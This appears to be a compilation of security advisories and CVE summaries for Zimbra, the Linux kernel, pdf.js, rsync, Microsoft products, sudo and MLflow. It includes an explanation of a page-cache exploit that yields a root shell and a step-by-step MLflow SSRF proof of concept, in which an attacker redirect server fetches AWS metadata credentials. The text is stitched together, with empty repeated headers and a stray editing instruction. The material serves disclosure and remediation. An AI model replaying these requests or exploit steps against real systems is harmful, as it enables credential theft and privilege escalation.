A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.

Fragnesia is a universal Linux local privilege escalation exploit, discovered by William Bowling with the V12 team. Fragnesia is a member of the Dirty Frag vulnerability class. This is a separate bug in the ESP/XFRM from dirtyfrag which has received its own patch. However, it is in the same surface and the mitigation is the same as for dirtyfrag.

It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition.

The technique extends the page-cache write bug class that includes Dirty Pipe: when a TCP socket transitions to espintcp ULP mode after data has already been spliced from a file into the receive queue, the kernel processes the queued file pages as ESP ciphertext. The AES-GCM keystream byte at counter block position 2, byte 0 is XORed directly into the cached file page. By selecting the IV nonce to produce a desired keystream byte, any target byte in the file can be set to any value — one byte per trigger invocation.

The exploit builds a 256-entry lookup table mapping each possible keystream byte to its corresponding nonce, then iterates over a payload, firing the splice/ULP race for each byte that needs changing. It writes a small position-independent ELF stub (setresuid/setresgid/execve /bin/sh) over the first 192 bytes of /usr/bin/su in the page cache, then calls execve("/usr/bin/su") to obtain a root shell. The page cache modification is not backed to disk; the on-disk binary is untouched.

In the Linux kernel, the following vulnerability has been resolved:

In the Linux kernel, the following vulnerability has been resolved:

Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches The patch removes the use of eval: https://github.com/mozilla/pdf.js/pull/18015

Workarounds Set the option isEvalSupported to false.

References https://bugzilla.mozilla.org/showbug.cgi?id=1893645

A flaw was found in rsync which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.

Deserialization of untrusted data in Microsoft Entra ID allows an unauthorized attacker to execute code over a network.

Microsoft Windows Common Log File System Driver contains a privilege escalation vulnerability that could allow a local, privileged attacker to bypass certain security mechanisms.

Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.

A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.

crypto: algifaead - Revert to operating out-of-place

Accessibility. A logic issue was addressed with improved checks.

CVE-2025-48384 is regarding a vulnerability in Git where when reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. GitHub created this CVE on their behalf. The documented Visual Studio updates incorporate updates in Git which address this vulnerability. Please see CVE-2025-48384 for more information.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

Admin Framework. A logic issue was addressed with improved checks.

A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period.

HID: core: zero-initialize the report buffer

In the Linux kernel, the following vulnerability has been resolved:

media: uvcvideo: Skip parsing frames of type UVCVSUNDEFINED in uvcparseformat

This can lead to out of bounds writes since frames of this type were not taken into account when calculating the size of the frames buffer in uvcparsestreaming.

In the Linux kernel, the following vulnerability has been resolved:

ALSA: usb-audio: Fix out of bounds reads when finding clock sources

The current USB-audio driver code doesn't check bLength of each descriptor at traversing for clock descriptors. That is, when a device provides a bogus descriptor with a shorter bLength, the driver might hit out-of-bounds reads.

For addressing it, this patch adds sanity checks to the validator functions for the clock descriptor traversal. When the descriptor length is shorter than expected, it's skipped in the loop.

For the clock source and clock multiplier descriptors, we can just check bLength against the sizeof() of each descriptor type. OTOH, the clock selector descriptor of UAC2 and UAC3 has an array of bNrInPins elements and two more fields at its tail, hence those have to be checked in addition to the sizeof() check.

In the Linux kernel, the following vulnerability has been resolved:

ALSA: usb-audio: Fix potential out-of-bound accesses for Extigy and Mbox devices

A bogus device can provide a bNumConfigurations value that exceeds the initial value used in usbgetconfiguration for allocating dev->config.

This can lead to out-of-bounds accesses later, e.g. in usbdestroyconfiguration.

Android contains an unspecified vulnerability in the kernel that allows for remote code execution. This vulnerability resides in Linux Kernel and could impact other products, including but not limited to Android OS.

A remote unauthorized attacker with network access via port 4307/TCP to the TrueConf server versions 5.3.X to 5.3.9, 5.4.X to 5.4.9, 5.5.X to 5.5.5, and earlier could execute an arbitrary script by calling an undocumented function.

A remote unauthorized attacker with network access via port 4307/TCP to the TrueConf server versions 5.3.X to 5.3.9, 5.4.X to 5.4.9, 5.5.X to 5.5.5, and earlier could use a specially crafted script to break out of the isolated environment and execute arbitrary code on the host system.

Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}

<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.

Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network.

Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.

Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.